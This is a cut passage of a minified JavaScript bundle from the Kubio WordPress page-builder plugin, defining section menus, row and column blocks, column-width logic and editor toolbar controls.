h="kubio-section-options-button",b=(0,Je.jsx)(Re.Button,{icon:Nn,className:h});return(0,Je.jsxs)("div",{className:Ge()("kubio-sections-options-container",{"kubio-sections-options-container--hovered":c}),children:[(0,Ae.isFunction)(o)?o({isHovered:e,buttonBaseClass:h,setPopupVisible:l}):o,(0,Je.jsx)(ut.DropdownWithHover,{className:"kubio-dropdown-with-hover__section-options",ref:r,onToggle:l,toggleElement:b,children:(0,Je.jsx)(Je.Fragment,{children:c&&(0,Je.jsx)(Xn,{menuItems:t,dropdownRef:r,...a,showSectionOptions:c})})}),(0,Ae.isFunction)(n)?o({isHovered:e,buttonBaseClass:h,setPopupVisible:l}):n]})}));function Xn({dataHelper:e,menuItems:t=[],dropdownRef:o}){const n=(0,Le.useDispatch)("core/block-editor"),a=(0,Le.useDispatch)("core"),i=(0,Le.useSelect)((e=>e("core/block-editor"))),r=(0,Ne.useActiveMedia)(),[,s]=(0,Oe.useCurrentInspectorTab)(),{debouncedShowOverlay:l}=Ue(),{openSidebar:u=je().noop}=(0,Le.useDispatch)(Be.STORE_KEY)||{},c=(0,Me.useCallback)(((e,t)=>{u("block-inspector"),s(e),l(t)}),[l,u,s]),p={...i,...n,...a,onSelectPanel:c},d=je().get(o,["current","onClose"],je().noop),m=(0,Ne.useDeepMemo)((()=>{let o=je().cloneDeep(t);Array.isArray(je().get(o,"0"))||(o=[o]);const n=[];return o.forEach((t=>{const o=t.filter((t=>{let o=je().get(t,"enabled",!0);return"function"==typeof o&&(o=o(e,p)),o}));o.length>0&&n.push(o)})),n}),[]);return(0,Je.jsx)(Je.Fragment,{children:m.map(((t,o)=>(0,Je.jsx)(Re.MenuGroup,{children:t.map(((t,n)=>{const a=je().get(t,"subItems");let i=(0,Je.jsx)(Re.MenuItem,{className:Ge()({"kubio-has-submenu-item":a}),onClick:o=>{null==t||t.action({dataHelper:e,hooks:p,event:o,activeMedia:r}),d()},children:(0,Ae.isFunction)(null==t?void 0:t.label)?null==t?void 0:t.label(e):null==t?void 0:t.label},`${o} - ${n}`);if(a){const t=i,o=a.map(((t,o)=>(0,Je.jsx)(Re.MenuItem,{onClick:o=>{null==t||t.action({dataHelper:e,hooks:p,event:o,activeMedia:r}),d()},children:null==t?void 0:t.label},`submenu-${o}`)));i=(0,Je.jsx)(ut.DropdownWithHover,{popoverProps:{className:"kubio-dropdown-with-hover__popover kubio-dropdown-with-hover__section-options__submenu",position:"middle left"},toggleElement:t,children:o},`dropdown-${n}`)}return(0,Je.jsx)("div",{children:i},`${o} - ${n}`)}))},o)))})}const Qn={Default:{layout:{itemsPerRow:2,equalWidth:!0,equalHeight:!0}}},{name:Zn}={name:"kubio/row",title:"Columns",category:"kubio-basic",attributes:{kubio:{type:"object"},templateLock:{type:"string"}},supports:{anchor:!0,disabledOnSimpleMode:!0,kubio:{appearanceEffect:!0,props:{fullBackground:{type:"boolean"},layout:{type:"object"}},elementsEnum:{CONTAINER:"container",INNER:"inner",CENTER:"center",OUTER_GAPS:"outerGaps",INNER_GAPS:"innerGaps",TYPOGRAPHY_HOLDERS:"typographyHolders"},elementsByName:{container:{wrapper:!0,default:!0,supports:{separator:!0,background:!0}},center:{},inner:{props:{className:["h-row"]}},outerGaps:{selector:"> * > .h-row > [class*='h-col-'] > [class*='h-px-']"},innerGaps:{selector:" > * > .h-row > [class*='h-col-']"}},template:{type:"element",props:{name:"container"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{props:{fullBackground:!1,layout:{equalWidth:!1,equalHeight:!0,itemsPerRow:2,verticalAlign:"center",horizontalAlign:"center",horizontalGap:2,verticalGap:2,horizontalInnerGap:2,verticalInnerGap:2},media:{mobile:{layout:{itemsPerRow:1,horizontalGap:0}}}}}}}},Jn=(e={},t=[],o=!0)=>(0,Ne.composeBlockWithStyle)(Zn,{props:Qn.Default,...e},t,o),ea={Default:{}},{name:ta}={name:"kubio/column",title:"Column",category:"kubio-basic",usesContext:["kubio/parentKubio"],parent:["kubio/row"],attributes:{kubio:{type:"object"}},supports:{anchor:!0,disabledOnSimpleMode:!1,kubio:{appearanceEffect:!0,default:{props:{internal:{type:"object",default:{heroSection:{type:"none"}}},overlapOptions:!1,layout:{horizontalGap:2,verticalGap:2,horizontalInnerGap:"inherit",verticalInnerGap:"inherit",verticalAlign:"start"}},style:{descendants:{container:{customHeight:{type:"fit-to-content","min-height":{value:"",unit:"px"}}},inner:{textAlign:"center"}}},_style:{descendants:{container:{columnWidth:{type:"custom"},media:{mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}}}}}}},elementsEnum:{INNER:"inner",CONTAINER:"container",VSPACE:"v-space",ALIGN:"align"},elementsByName:{inner:{default:!0,props:{className:["d-flex","h-flex-basis"]},supports:{background:!0,separator:!0}},container:{wrapper:!0,props:{className:["d-flex"]}},align:{props:{className:["h-y-container","h-column__content","h-column__v-align"]}},"v-space":{selector:"> * > .h-y-container > *:not(:last-child)"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"align"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},oa=(e={},t=[],o=!0)=>(0,Ne.composeBlockWithStyle)(ta,je().merge({},{style:ea.Default},e),t,o);var na=o(406);new(o.n(na)())("h-column");const{ColumnWidthTypes:aa}=jn.columnWidth,ia=(aa.FLEX_GROW,(e,t,o,n)=>je().merge(e,{descendants:{container:{columnWidth:t,media:{mobile:{columnWidth:o},tablet:{columnWidth:n}}}}})),ra=e=>({type:aa.CUSTOM,custom:{value:e,unit:"%"}}),sa=()=>({type:aa.FLEX_GROW,custom:{value:"",unit:"%"}}),la=()=>({type:aa.FIT_TO_CONTENT,custom:{value:"",unit:"%"}}),ua=(e,t=!1)=>{const o={};return je().each(e,((e,n)=>{if(t)o[n]=Be.UNSET_VALUE;else{if(null==e||!e.itemsPerRow)return;const t=null==e?void 0:e.itemsPerRow,a=(0,Ze.toFixedNoRounding)(parseFloat(100/t),2);o[n]=ra(a)}})),o},ca=()=>oa({_style:ia({},ra(50),ra(100))},[]),pa=()=>Jn({props:{layout:{equalHeight:!0,equalWidth:!1}}},[ca(),ca()]),da={Default:pa(),Default2:Jn({},[oa({},[]),oa({}),oa({})])},ma=[{name:"default",isDefault:!0,title:(0,We.__)("Columns","kubio"),description:(0,We.__)("Add a new row to the canvas. Make adjustments to its columns, spacing, typography, background, and more.","kubio"),attributes:da.Default[1],innerBlocks:da.Default[2]}],ha="outer",ba="inner",ga={[ha]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.TRANSITION,jn.StylesEnum.BACKGROUND,jn.StylesEnum.SEPARATORS,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER,jn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER_ADVANCED,jn.StylesEnum.TRANSFORM],states:jn.StatesPresetsEnum.BASIC,separator:!0,filters:{...ut.BackgroundUiUtils.FiltersPreset.CONTAINER,transition:{manuallyEnabled:!0}}}}},ya={BOXED:"boxed",FULL_WIDTH:"full-width"},ka={[ya.FULL_WIDTH]:"h-section-fluid-container",[ya.BOXED]:"h-section-boxed-container"},fa=[{value:ya.BOXED,label:(0,We.__)("Container","kubio")},{value:ya.FULL_WIDTH,label:(0,We.__)("Full","kubio")}],_a=()=>{const e=(0,gt.createBlock)(hn.SECTION,{});return e.innerBlocks=[],e},va=({dataHelper:e,hooks:t,after:o=!1}={})=>{const{getBlockIndex:n,insertBlock:a,getBlockRootClientId:i}=t,r=null==e?void 0:e.clientId,s=i(r),l=n(r,s),u=o?l+1:l,c=_a(),{anchor:p,name:d}=(0,Ze.getNextSectionNameAndId)((0,We.__)("Custom section","kubio"),t);c.attributes={anchor:p,attrs:{name:d}},a(c,Math.max(u,0),s)},xa=e=>{e&&(e.preventDefault(),e.stopPropagation())},Ca={label:(0,We.__)("Add section before","kubio"),action:({dataHelper:e,event:t,hooks:o})=>{xa(t),va({dataHelper:e,hooks:o,after:!1})}},Ia={label:(0,We.__)("Add section after","kubio"),action:({dataHelper:e,event:t,hooks:o})=>{xa(t),va({dataHelper:e,hooks:o,after:!0})}},Ea={label:(0,We.__)("Replace section","kubio"),enabled:e=>{if(!top.isKubioBlockEditor)return!1;const{getEditedPostType:t}=(0,Le.select)("kubio/edit-site"),o="wp_template_part"===t(),{getBlockHierarchyRootClientId:n,getBlock:a}=(0,Le.select)("core/block-editor"),i=a(n(null==e?void 0:e.clientId));return"kubio/footer"!==(null==i?void 0:i.name)&&!o},action:({dataHelper:e,event:t,hooks:o})=>{xa(t);let n="kubio-content";switch(e.block.name){case"kubio/hero":case"kubio/header":case"kubio/navigation-section":n="kubio-header";break;case"kubio/footer":n="kubio-footer"}let a=e.getAttribute("kubioAI.meta.category");if(!a){const t=(e=>{var t;let o=(null===(t=(0,Le.select)("core/block-editor").getSettings())||void 0===t?void 0:t.__experimentalBlockPatternCategories)||[];return o=o.filter((({name:t})=>t.startsWith(`${e}/`))).map((({name:t})=>t.replace(`${e}/`,"").replace(/\./gim,"").toLowerCase())),o})(n),o=e.getAttribute("anchor").replace(/-\d+$/,"").replace(/\./gim,"").toLowerCase();t.includes(o)&&(a=o)}(0,Ze.onOpenTemplateGalleryWithParams)({page:"sections",disabledPages:["starterSite","pages"],sections:{categoryType:n,category:`${n}/${a}`,onActionFunc:t=>(async(e,t,o)=>{const n=(0,Ze.kubioCloneDeep)(t),a=(0,Ze.transformTemplateToBlock)(n);let i=null;"hero-accent"===o&&(i=e.getStyle("margin.top.value",{},{styledComponent:ba})),(0,Le.dispatch)("core/block-editor").replaceBlocks(e.clientId,a),null!==i&&e.withClientId(a.clientId).setStyle("margin.top.value",i,{styledComponent:ba})})(e,t.content,a)}})}},Ta=[[Ea],[$n.CHANGE_IMAGE_VIDEO,$n.CHANGE_BACKGROUND,$n.EDIT_LAYOUT],[$n.ADD_LIST_ITEM,$n.ITEMS_PER_ROW],[$n.DUPLICATE_BLOCK,Ca,Ia,$n.SAVE_BLOCK],[$n.REMOVE_BLOCK]],Sa=[pa()],wa=(0,Je.jsx)(Bn.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Je.jsx)(Bn.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V5c-.1-.3.1-.5.4-.5zm14 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z"})}),Pa=()=>{const[,e]=(0,Oe.useCurrentInspectorTab)(),{debouncedShowOverlay:t}=Ue(),{openSidebar:o=je().noop}=(0,Le.useDispatch)(Be.STORE_KEY)||{},n=(0,Me.useCallback)((()=>{o("block-inspector"),e("style"),t(".kubio-section-background-panel")}),[t,o,e]);return o?(0,Je.jsx)(st.BlockControls,{children:(0,Je.jsx)(Re.ToolbarGroup,{children:(0,Je.jsx)(Re.ToolbarButton,{icon:wa,label:(0,We.__)("Change Background","kubio"),onClick:n})})}):(0,Je.jsx)(Je.Fragment,{})},Aa=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{d:"M16 5.5H8V4h8v1.5ZM16 20H8v-1.5h8V20ZM5 9h14v6H5V9Z"})}),ja=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{d:"M5 4h14v11H5V4Zm11 16H8v-1.5h8V20Z"})}),Ba=(0,Me.forwardRef)((function({icon:e,size:t=24,...o},n){return(0,Me.cloneElement)(e,{width:t,height:t,...o,ref:n})})),Na=window.wp.keycodes,Oa={isAlternate:!0},Ra=({dataHelper:e})=>{const t=e.getProp("width");return(0,Je.jsx)(st.BlockControls,{children:(0,Je.jsx)(Re.ToolbarGroup,{children:(0,Je.jsx)(Re.Dropdown,{popoverProps:Oa,renderToggle:({onToggle:e,isOpen:o})=>(0,Je.jsx)(Re.ToolbarButton,{icon:t===ya.BOXED?Aa:ja,label:(0,We.__)("Container Width","kubio"),onClick:e,"aria-expanded":o,onKeyDown:t=>{o||t.keyCode!==Na.DOWN||(t.preventDefault(),t.stopPropagation(),e())}}),renderContent:()=>(0,Je.jsx)(Re.MenuGroup,{className:"kubio-toolbar-container-width",children:(0,Je.jsx)(Re.MenuItemsChoice,{choices:fa.map((({value:e,label:t})=>({value:e,label:(0,Je.jsxs)(Re.Flex,{children:[(0,Je.jsx)(Re.FlexItem,{children:(0,Je.jsx)(Ba,{icon:e===ya.BOXED?Aa:ja})}),(0,Je.jsx)(Re.FlexBlock,{children:t})]})}))),value:t,onSelect:t=>(t=>{e.setProp("width",t)})(t)})})})})})},Da=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24",children:(0,Je.jsx)(Bn.Path,{d:"M10 1c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9zm0 16c-3.9 0-7-3.1-7-7s3.1-7 7-7 7 3.1 7 7-3.1 7-7 7zm1-11H9v3H6v2h3v3h2v-3h3V9h-3V6zM10 1c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9zm0 16c-3.9 0-7-3.1-7-7s3.1-7 7-7 7 3.1 7 7-3.1 7-7 7zm1-11H9v3H6v2h3v3h2v-3h3V9h-3V6z"})}),La="columns",Ma=jn.columnWidth.ColumnWidthTypes,Wa={styledComponent:"container"};function Ha(e){if(0===e.length||1===e.length)return!0;const t=e.map((e=>e.getBoundingClientRect())).map((e=>e.x));let o=t[0],n=!0;return t.forEach(((e,t)=>{0!==t&&(e<=o&&(n=!1),o=e)})),n}function Ga(e,t){const o=e.withChildren().map((e=>{const o=null==e?void 0:e.clientId,n=(0,Ze.getPreviewElementByModelId)(o,t);if(!n)throw(0,We.__)("Could not add column while not all elements are rendered","kubio");return n}));return o}function Ua(e,t){return(0,Ze.getPreviewElementByModelId)(e,t).querySelector(" .h-row")}function Fa(e){const t=e.createElement("div");return t.setAttribute("id","h-dummy-column"),t.setAttribute("class","dummy-column"),t}function za(e,t,o){const n=function(e,t,o){const n=Ua(e,o),a=Fa(o);Va(n,t,a);const i=window.getComputedStyle(a),r=parseFloat(i.getPropertyValue("width")),s=window.getComputedStyle(n),l=r/((parseFloat(s.getPropertyValue("width"))-(parseFloat(s.paddingLeft)+parseFloat(s.paddingRight))-(parseFloat(s.borderLeftWidth)+parseFloat(s.borderRightWidth)))/100);return n.removeChild(a),parseFloat((0,Ze.toFixedNoRounding)(l,2))}(null==e?void 0:e.clientId,t,o);let a;return a=100==n?function(e){const t=_.get(e.withChildren(),"0");return t?t.getLocalStyle("columnWidth",{},{...Wa,media:"desktop"}):{}}(e):ra(n),a}function Va(e,t,o){let n=null;if(0!==t){for(let o=0;o<e.children.length;o++)o-0==t-1&&(n=e.children[o]);n&&n.insertAdjacentElement("afterEnd",o)}else e.children[0].insertAdjacentElement("beforebegin",o)}class Ya{constructor(e,t={}){this.dataHelper=e,this.data=t}add(){const e=this.rowDataHelper,t=e.clientId,o=this.newColumnIndex,{insertBlock:n=je().noop,createBlock:a=je().noop,ownerDocument:i=null}=this.data,r=a(...function(e,t,o,n){let a={};return t===La&&(a=function(e,t){return Ha(Ga(e,t))}(e,n)?function(e,t,o){const n=function(e){const t=e.withChildren();let o=!0;return t.forEach((e=>{e.getLocalStyle("columnWidth.type",null,Wa)!==Ma.CUSTOM&&(o=!1)})),o}(e);if(!n)return la();const a=function(e,t,o,n){const a=Ua(e,n),i=Fa(n);Va(a,t,i),o.splice(t,0,i);const r=Ha(o);return function(e,t){e.removeChild(t)}(a,i),r}(null==e?void 0:e.clientId,t,Ga(e,o),o);return a?za(e,t,o):function(e){const t=function(e){const t=100/((null==e?void 0:e.withChildren().length)+1);return parseFloat((0,Ze.toFixedNoRounding)(t,2))}(e);return function(e,t){e.withChildren().forEach((e=>{const o={type:Ma.CUSTOM,custom:{value:t,unit:"%"}};e.setLocalStyle("columnWidth",o,{...Wa,media:"desktop"})}))}(e,t),ra(t)}(e)}(e,o,n):za(e,o,n),_.isEmpty(a)&&(a=ra(50))),oa(_.isEmpty(a)?{}:{_style:{descendants:{container:{columnWidth:a}}}})}(e,this.layoutType,o,i));je().unset(r,"attributes.kubio.props.internal"),n(r,o,t,!1)}get newColumnIndex(){return this.rowDataHelper.withChildren().length}get rowDataHelper(){return this.dataHelper}get equalWidth(){return this.rowDataHelper.getProp("layout.equalWidth",!1)}get layoutType(){return this.equalWidth?"grid":La}}class $a extends Ya{constructor(e,t,o={}){super(e,t);const n=je().merge({},{after:!0},o);this.options=n}get rowDataHelper(){return this.dataHelper.withParent()}get newColumnIndex(){var e;const t=this.rowDataHelper.withChildren();let o=0;return t.forEach(((e,t)=>{e.clientId===this.dataHelper.clientId&&(o=t)})),null!==(e=this.options)&&void 0!==e&&e.after?++o:o}}const Ka=(e,t,o)=>{new $a(e,t,o).add()},qa=(e,t)=>{new Ya(e,t).add()},Xa=({dataHelper:e})=>{const{clientId:t}=e,o=e.getProp("layout.equalWidth"),{ownerDocument:n}=(0,Ne.useOwnerDocumentContext)(),{insertBlock:a}=(0,Le.useDispatch)("core/block-editor"),{nextColumnIndex:i,lastBlock:r}=(0,Le.useSelect)((e=>{const o=e("core/block-editor").getBlockCount(t),n=(0,Ae.last)(e("core/block-editor").getBlockOrder(t));return{nextColumnIndex:o,lastBlock:e("core/block-editor").getBlock(n)}})),s=o?(0,We.__)("Add list item","kubio"):(0,We.__)("Add new column","kubio");return(0,Je.jsx)(st.BlockControls,{children:(0,Je.jsx)(Re.ToolbarGroup,{children:(0,Je.jsx)(Re.ToolbarButton,{icon:Da,label:s,onClick:()=>{if(o){const e=(0,gt.cloneBlock)(r);a(e,i,t)}else{const t={createBlock:gt.createBlock,insertBlock:a,ownerDocument:n};qa(e,t)}}})})})},Qa=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{d:"m3 5c0-1.10457.89543-2 2-2h13.5c1.1046 0 2 .89543 2 2v13.5c0 1.1046-.8954 2-2 2h-13.5c-1.10457 0-2-.8954-2-2zm2-.5h6v6.5h-6.5v-6c0-.27614.22386-.5.5-.5zm-.5 8v6c0 .2761.22386.5.5.5h6v-6.5zm8 0v6.5h6c.2761 0 .5-.2239.5-.5v-6zm0-8v6.5h6.5v-6c0-.27614-.2239-.5-.5-.5z",fillRule:"evenodd",clipRule:"evenodd"})}),Za={isAlternate:!0},Ja=ut.UIUtils.itemsPerRowOptions,ei=({dataHelper:e})=>{const t=e.getProp("layout.equalWidth"),o=(0,Ne.useActiveMedia)(),[n,a]=(0,Me.useState)(e.getPropInMedia("layout.itemsPerRow",e.getProp("layout.itemsPerRow"),{media:o}));if(!t)return(0,Je.jsx)(Je.Fragment,{});const i=Ja.map((({value:e})=>({value:e,label:(0,We.sprintf)(// translators: number of items per row // translators: number of items per row (0,We._n)("%d item","%d items",e,"kubio"),e)})));return(0,Je.jsx)(st.BlockControls,{children:(0,Je.jsx)(Re.ToolbarGroup,{children:(0,Je.jsx)(Re.Dropdown,{popoverProps:Za,renderToggle:({onToggle:e,isOpen:t})=>(0,Je.jsx)(Re.ToolbarButton,{icon:Qa,label:(0,We.__)("Columns per row","kubio"),onClick:e,"aria-expanded":t,onKeyDown:o=>{t||o.keyCode!==Na.DOWN||(o.preventDefault(),o.stopPropagation(),e())}}),renderContent:()=>(0,Je.jsx)(Re.MenuGroup,{label:(0,We.__)("Items per row","kubio"),children:(0,Je.jsx)(Re.MenuItemsChoice,{choices:i,value:n,onSelect:t=>{return n=t,e.setPropInMedia("layout.itemsPerRow",n,{media:o}),void a(n);var n}})})})})})},ti=({dataHelper:e})=>{const{canInsertBlockType:t}=(0,Le.useSelect)((e=>e("core/block-editor")),[]),o=t(hn.COLUMN,e.clientId);return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ei,{dataHelper:e}),o&&(0,Je.jsx)(Xa,{dataHelper:e})]})},oi=({dataHelper:e})=>{var t;const o=e.withChildren(),n=(e=>je().find(e,(e=>{if(e.getProp("meta.isHeader"))return!0})))(o),a=null===(t=je().first(o.filter((e=>e.clientId!==(null==n?void 0:n.clientId)))))||void 0===t?void 0:t.clientId,{dataHelper:i}=(0,Ne.useKubioDataHelper)({clientId:a});return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Pa,{dataHelper:e}),(0,Je.jsx)(Ra,{dataHelper:e}),!!i&&(0,Je.jsx)(ti,{dataHelper:i})]})},ni=({dataHelper:e})=>{const t=(0,Le.useSelect)((e=>({getClientIdsWithDescendants:e("core/block-editor").getClientIdsWithDescendants,getBlock:e("core/block-editor").getBlock}))),{canInsertBlockType:o}=(0,Le.useSelect)((e=>e("core/block-editor")),[]),{clientId:n}=e,{clientId:a}=e.withParent(),{insertBlock:i}=(0,Le.useDispatch)("core/block-editor"),{sectionIndex:r}=(0,Le.useSelect)((e=>({sectionIndex:e("core/block-editor").getBlocks(a).map((({clientId:e})=>e)).indexOf(n)}))),s=({after:e=!1}={})=>{const o=e?r+1:r,n=_a(),{anchor:s,name:l}=(0,Ze.getNextSectionNameAndId)((0,We.__)("Custom section","kubio"),t);n.attributes={anchor:s,attrs:{name:l}},i(n,Math.max(o,0),a)};return o(hn.SECTION,a)?(0,Je.jsx)(st.BlockSettingsMenuControls,{children:(0,Je.jsxs)(Re.MenuGroup,{className:"kubio-block-settings-control",children:[(0,Je.jsx)(Re.MenuItem,{onClick:()=>s(),children:(0,We.__)("Add section before","kubio")}),(0,Je.jsx)(Re.MenuItem,{onClick:()=>s({after:!0}),children:(0,We.__)("Add section after","kubio")})]})}):(0,Je.jsx)(Je.Fragment,{})},ai=()=>(0,Je.jsx)(Je.Fragment,{}),ii=((0,Ze.wpVersionCompare)("6.2",">="),({isHovered:e,clientId:t})=>(0,Le.useSelect)((e=>!e("kubio/edit-site")),[])?(0,Je.jsx)(Je.Fragment,{}):(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)("dialog",{open:!0,className:"kubio-section-between-sections-inserter-wrapper__dialog",children:[(0,Je.jsx)(ri,{area:"top",clientId:t,isHovered:e}),(0,Je.jsx)(ri,{area:"bottom",clientId:t,isHovered:e})]})})),ri=({area:e,clientId:t,isHovered:o})=>{const n=(0,Pe.applyFilters)("kubio.BetweenSectionsInserter",ai),a=((0,Me.useRef)(),(0,Me.useRef)()),{detectionAreaIsHovered:i,setDetectionAreaIsHovered:r}=si({nodeInSectionRef:a,area:e,sectionIsHovered:o}),[,s]=(0,Me.useState)();(0,Me.useEffect)((()=>{s(Math.random())}),[]);const[l,u]=(0,Me.useState)(!1),[c,p]=(0,Me.useState)(!1),[d,m]=(0,Me.useState)(!1),h=(0,Me.useCallback)((()=>{u(!0)}),[]),b=(0,Me.useCallback)((()=>{u(!1)}),[]),g=i||c||l||d,y=(0,Me.useCallback)((()=>{m(!0)}),[]),k=(0,Me.useCallback)((()=>{m(!1),r(!1)}),[]),f="top"===e;return(0,Je.jsxs)(Je.Fragment,{children:[g&&(0,Je.jsxs)("div",{className:Ge()(`kubio-section-between-sections-inserter-wrapper kubio-section-between-sections-inserter-wrapper--${e}`),children:[(0,Je.jsx)("div",{className:"kubio-section-between-sections-inserter__line"}),(0,Je.jsx)(n,{insertBefore:f,sectionClientId:t,onMouseOver:()=>p(!0),onMouseOut:()=>p(!1),onDropdownOpen:h,onDropdownClose:b,onActionStarted:y,onActionEnded:k})]}),(0,Je.jsx)("div",{ref:a})]})},si=({nodeInSectionRef:e,area:t,sectionIsHovered:o})=>{const[n,a]=(0,Me.useState)(!1),i=(0,Me.useRef)(),r=(0,Me.useCallback)((()=>{i.current=setTimeout((()=>a(!1)),300)}),[a]);(0,Me.useEffect)((()=>{o||r()}),[o]),(0,Me.useEffect)((()=>()=>{clearTimeout(i.current)}),[]);const s=(0,Me.useCallback)((t=>{var o;const i=null===(o=e.current)||void 0===o?void 0:o.closest("[data-kubio]");if(!i)return!1;const s=i.getBoundingClientRect();s&&(s.bottom-t.clientY<=.02*s.height+0?n||a(!0):n&&r())}),[n,r]),l=(0,Me.useCallback)((t=>{var o;const i=null===(o=e.current)||void 0===o?void 0:o.closest("[data-kubio]");if(!i)return!1;const s=i.getBoundingClientRect();s&&(t.clientY-s.top<=.02*s.height+0?n||a(!0):n&&r())}),[n,r]),u=(0,Me.useCallback)((e=>"top"===t?l(e):s(e)),[l,s,t]);return(0,Me.useEffect)((()=>{var t;const n=null===(t=e.current)||void 0===t?void 0:t.closest("[data-kubio]");var a;return o&&(null==n||null===(a=n.addEventListener)||void 0===a||a.call(n,"mousemove",u)),()=>{var e;null==n||null===(e=n.removeEventListener)||void 0===e||e.call(n,"mousemove",u)}}),[u,o,e.current]),{detectionAreaIsHovered:n,setDetectionAreaIsHovered:a}},li=({dataHelper:e})=>{const t=({onClose:t})=>(0,Je.jsx)(Re.MenuGroup,{className:"kubio-block-settings-control",children:(0,Je.jsx)(Re.MenuItem,{onClick:o=>{o.preventDefault(),o.stopPropagation(),Rn(e),t()},children:(0,We.__)("Save as custom section","kubio")})});return(0,Je.jsx)(st.BlockSettingsMenuControls,{children:({onClose:e})=>(0,Je.jsx)(t,{onClose:e})})},ui=[hn.ROW],ci=e=>{const{StyledElements:t,Separators:o,Background:n,innerProps:a={},isSelected:i,dataHelper:r,template:s,templateLock:l,showSectionOptions:u=!0,showBetweenSectionsInserter:c=!1,menuItems:p=Ta,showStructure:d,clientId:m,isHero:h}=e,{sectionOptionsProps:b,containerProps:g}=Kn({enabled:u,menuItems:p,clientId:m}),y=bn(a,{template:s,templateLock:l,allowedBlocks:ui,orientation:"vertical",renderAppender:!1}),{isHovered:k}=b,f=(0,Le.useSelect)((e=>{const{getBlock:t,getBlockRootClientId:o}=e("core/block-editor"),n=t(o(m));return"core/post-content"===(null==n?void 0:n.name)}),[m]),_=c&&f;return d&&(y.children=(0,Je.jsx)(ut.LayoutPicker,{clientId:m,disableFPS:!0,replaceBlockInsteadInsert:!0,defaultDisplayStructure:h})),(0,Je.jsxs)(Je.Fragment,{children:[i&&(0,Je.jsx)(oi,{dataHelper:r}),i&&(0,Je.jsx)(ni,{dataHelper:r}),i&&(0,Je.jsx)(li,{dataHelper:r}),(0,Je.jsxs)(t.Outer,{...g,children:[u&&(0,Je.jsx)(qn,{...b,dataHelper:r}),_&&(0,Je.jsx)(ii,{isHovered:k,clientId:m}),(0,Je.jsx)(n,{}),(0,Je.jsx)(o,{}),(0,Je.jsx)(t.Inner,{...y})]})]})},pi=(e={})=>{const{computed:t={}}=e;return{[ha]:{"data-slug":()=>{const{anchor:e}=t;return e},className:()=>jn.FlexAlign.getVAlignClasses(t.verticalAlignByMedia)},[ba]:{className:()=>{const{widthType:e=ya.BOXED}=t,o=[];return ka[e]&&o.push(ka[e]),o}}}},di=(e,t)=>({verticalAlignByMedia:e.getPropByMedia("verticalAlign"),widthType:e.getProp("width",void 0),anchor:e.getAttribute("anchor")}),mi=e=>{const{mapper:t=(()=>{}),...o}=e,n=(0,De.compose)((0,De.createHigherOrderComponent)((e=>t=>{const{clientId:o,dataHelper:n={}}=t,[a,i]=(0,Me.useState)(!1),r=(0,Le.useSelect)((e=>e("core/block-editor").getBlockCount(o)),[]),s=(0,Me.useRef)(r);return(0,Me.useEffect)((()=>{i(0===r)}),[r,s]),(0,Je.jsx)(e,{...t,showStructure:a})})),(0,Ne.withColibriDataAutoSave)(di),(0,Ne.withStyledElements)(pi,t),(0,Ne.withContainerBase)(),(e=>(0,De.createHigherOrderComponent)((t=>o=>(0,Je.jsx)(t,{...o,...e}))))(o));return{Section:n(ci)}},hi=mi({showBetweenSectionsInserter:!0}).Section,{Section:bi}=mi({templateLock:"insert",showSectionOptions:!1}),gi={NO_SIDEBAR:Tn.QueryLayoutIcon1,SIDEBAR_LEFT:Tn.QueryLayoutIcon2,SIDEBAR_RIGHT:Tn.QueryLayoutIcon3},yi={NO_SIDEBAR:"noSidebar",SIDEBAR_LEFT:"sidebarLeft",SIDEBAR_RIGHT:"sidebarRight"},ki={queryLayout:{options:[{label:(0,We.__)("No sidebar","kubio"),value:yi.NO_SIDEBAR,icon:gi.NO_SIDEBAR},{label:(0,We.__)("Left sidebar","kubio"),value:yi.SIDEBAR_LEFT,icon:gi.SIDEBAR_LEFT},{label:(0,We.__)("Right sidebar","kubio"),value:yi.SIDEBAR_RIGHT,icon:gi.SIDEBAR_RIGHT}],values:yi},queryColumnSizes:{desktop:sa(),tablet:sa(),mobile:ra(100)}},fi="query",_i="sidebar",vi="internal.queryLayout.type",xi={};je().set(xi,vi,_i);const Ci=e=>{const t=(e=>(0,Ne.composeBlockWithStyle)(hn.SIDEBAR,{attributes:{slug:null,theme:e}}))(e);return oa({_style:ia({},ra(25),ra(100),ra(33)),props:xi},[t])},Ii=Ci(),Ei=e=>{const t=ki.queryLayout.values,{moveBlocksUp:o,replaceInnerBlocks:n}=(0,Le.useDispatch)("core/block-editor"),a=(0,Le.useSelect)((e=>{var t;return null===(t=e("core").getCurrentTheme())||void 0===t?void 0:t.stylesheet})),{getBlocks:i}=(0,Le.useSelect)("core/block-editor"),r=e.withChildren({}),s=je().get(r,0,null),l=null==s?void 